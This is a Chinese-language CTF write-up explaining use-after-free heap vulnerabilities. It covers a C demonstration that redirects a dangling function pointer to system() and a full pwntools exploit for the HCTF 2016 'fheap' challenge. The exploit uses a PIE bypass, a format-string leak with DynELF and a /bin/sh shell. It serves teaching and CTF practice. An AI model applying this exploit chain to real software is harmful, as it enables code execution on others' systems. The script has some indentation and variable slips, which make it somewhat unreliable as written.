逆向安全系列：Use After Free漏洞浅析

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一、前言

想着接下来要写一个use after free的小总结，刚好碰巧最近的湖湘杯2016的一题----game利用use after free可以解出来。这题是自己***次在比较正式的比赛中做出pwn题，做这题的时间花了不少，效率不高，但自己还是蛮开心的，后面回头做hctf2016的fheap这题，也可以用uaf解出来，game这题题目的复杂度稍微高一点，描述起来有点难，下面主要是用hctf的这道题来给大家讲述原理。对于uaf漏洞，搜了下，uaf漏洞在浏览器中存在很多，有兴趣的同学可以自己去查查。

二、uaf原理

uaf漏洞产生的主要原因是释放了一个堆块后，并没有将该指针置为NULL，这样导致该指针处于悬空的状态，同样被释放的内存如果被恶意构造数据，就有可能会被利用。先上一段代码给大家一个直观印象再具体解释。

#include <stdio.h> 
#include <stdlib.h> 
typedef void (*func_ptr)(char *); 
void evil_fuc(char command[]) 
{ 
system(command); 
} 
void echo(char content[]) 
{ 
printf("%s",content); 
} 
int main() 
{ 
func_ptr *p1=(int*)malloc(4*sizeof(int)); 
printf("malloc addr: %p\n",p1); 
p1[3]=echo; 
p1[3]("hello world\n"); 
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针 
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用. 
func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来. 
printf("malloc addr: %p\n",p2); 
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址 
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针. 
p1[3]("whoami"); 
return 0; 
} 

这段代码在32位系统下执行。通过这段代码可以大概将uaf的利用过程小结为以下过程：

1、申请一段空间，并将其释放，释放后并不将指针置为空，因此这个指针仍然可以使用，把这个指针简称为p1。

2、申请空间p2，由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间，构造恶意的数据将这段内存空间布局好，即覆盖了p1中的数据。

3、利用p1，一般多有一个函数指针，由于之前已使用p2将p1中的数据给覆盖了，所以此时的数据既是我们可控制的，即可能存在劫持函数流的情况。

三、hctf2016--fheap

uaf原理还比较简单，下面就是具体的实践了，这个漏洞复杂一些的话就和double free这些其他的堆的常见利用方法合起来一起出题，具体的可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题，和fheap基本上是一样的，这题大家跟出来了的话可以去做下game试下。先介绍fheap的功能。

A、程序功能

程序提供的功能比较简单，总共两个功能：

1、create string

输入create 后，接着输入size，后输入具体的字符串。相关的数据结构则是：先申请0x20字节的堆块存储结构，如果输入的字符串长度大于0xf，则另外申请对应长度的空间存储字符串，否则直接存储在之前申请的0x20字节的前16字节处，在***，会将相关free函数的地址存储在堆存储结构的后八字节处。相关示意图描绘如下：

2、delete string

调用存储在结构体里的free_func这个指针来释放堆，由于在释放以后没有将指针置空，出现了释放后仍可利用的现象，即uaf。

B、查看防护机制

首先查看开启的安全机制

可以看到开启了PIE，在解题的过程中还需要绕过PIE，PIE是指代码段的地址也会随机化，不过低两位的字节是固定的，利用这一点我们可以来泄露出程序的地址。

C、利用思路

总思路：首先是利用uaf，利用堆块之间申请与释放的步骤，形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说，先申请的是三个字符创小于0xf的堆块，并将其释放。此时fastbin中空堆块的单链表结构如下左图，紧接着再申请一个字符串长度为0x20的字符串，此时，申请出来的堆中的数据会如下右图，此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间，这时候输入的数据就能覆盖到1号堆块中的free_func指针，指向我们需要执行的函数，随后再调用1号堆块的free_func函数，即实现了劫持函数流的目的。

1、绕过PIE，在能劫持函数流之后，首先是泄露出程序的地址以绕过PIE，具体的方法是将free_func指针的***位覆盖成"\x2d"，变成去执行fputs函数，***变成去打印出free_func的地址，从而得到程序的基地址等。

2、泄露system函数地址，首先有了程序的地址后，可以得到printf函数的plt地址，从而想办法在栈中部署数据，使用格式化字符串打印出我们需要的地址中的内容，使用DynELF模块去泄露地址，具体可以看安全客之前有人写的一篇文章---借助DynELF实现无libc的漏洞利用小结。从而泄露出system函数的地址。

3、执行system("/bin/sh")

最终调用system函数开启shell。

D、最终exp

exp最终如下，里面还有部分注释。

from pwn import * 
from ctypes import * 
DEBUG = 1 
if DEBUG: 
     p = process('./fheap') 
else: 
     r = remote('172.16.4.93', 13025) 
print_plt=0 
def create(size,content): 
    p.recvuntil("quit") 
    p.send("create ") 
    p.recvuntil("size:") 
    p.send(str(size)+'\n') 
    p.recvuntil('str:') 
    p.send(content.ljust(size,'\x00')) 
    p.recvuntil('\n')[:-1] 
def delete(idx): 
   p.recvuntil("quit") 
   p.send("delete "+'\n') 
   p.recvuntil('id:') 
    p.send(str(idx)+'\n') 
    p.recvuntil('sure?:') 
    p.send('yes '+'\n') 
def leak(addr): 
    delete(0) 
    #printf函数格式化字符串打印第九个参数地址中的数据，第九个刚好是输入addr的位置 
    data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt) 
    create(0x20,data) 
    p.recvuntil("quit") 
    p.send("delete ") 
    p.recvuntil('id:') 
    p.send(str(1)+'\n') 
    p.recvuntil('sure?:') 
    p.send('yes01234'+p64(addr)) 
    p.recvuntil('aa') 
    data=p.recvuntil('####')[:-4] 
    data += "\x00" 
    return data 
def pwn(): 
    global print_plt 
     create(4,'aa') 
     create(4,'bb') 
    create(4,'cc') 
     delete(2) 
    delete(1) 
    delete(0) 
    #申请三个堆块,随后删除，从而在fastbin链表中形成三个空的堆块 
    #part1 覆盖到fputs函数，绕过PIE 
    data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆盖，泄露出函数地址。 
    create(0x20,data)#在这里连续创建两个堆块，从而使输入的data与前面的块1公用一块内存。 
    delete(1)#这里劫持函数程序流 
    p.recvuntil('b'*0x8) 
    data=p.recvuntil('1.')[:-2] 
    if len(data)>8: 
        datadata=data[:8] 
    data=u64(data.ljust(8,'\x00'))-0xA000000000000 #这里减掉的数可能不需要，自行调整 
     proc_base=data-0xd2d 
    print "proc base",hex(proc_base) 
    print_plt=proc_base+0x9d0 
    print "print plt",hex(print_plt) 
    delete(0) 
    data='a'*0x10+'b'*0x8+'\x2D'+'\x00' 
    create(0x20,data) 
    delete(1) 
    p.recvuntil('b'*0x8) 
    data=p.recvuntil('1.')[:-2] 
    #part2 使用DynELF泄露system函数地址 
     d = DynELF(leak, proc_base, elf=ELF('./fheap')) 
    system_addr = d.lookup('system', 'libc') 
    print "system_addr:", hex(system_addr) 
     
    #parts 执行system函数，开启shell 
    delete(0) 
    data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) 
    create(0x20,data) 
    delete(1) 
    p.interactive() 
 
    #### 
    #利用的方式总结为 
    #delete(0)，将申请出来的堆块添入到fastbin中 
    #create(0x20,data),连续申请两个堆块，数据覆盖1堆中的free_func指针 
     #delete(1)劫持函数流，调用我们覆盖的指针处的地址 
    ### 
 
    if __name__ == '__main__': 
            pwn() 

执行结果

四、小结

我感觉UAF最主要的是，在释放了堆块以后没有将指针置空，后续过程中内存空间数据被覆盖为其他数据后，该指针仍然可以正常使用该内存，从而导致数据的误用。ctf题中容易碰见的是，释放的堆块中原本某个区域是用来存储函数指针的，后面被恶意构造的数据覆盖成其他地址实现了劫持函数流的目的，从而有可能就被pwn掉了。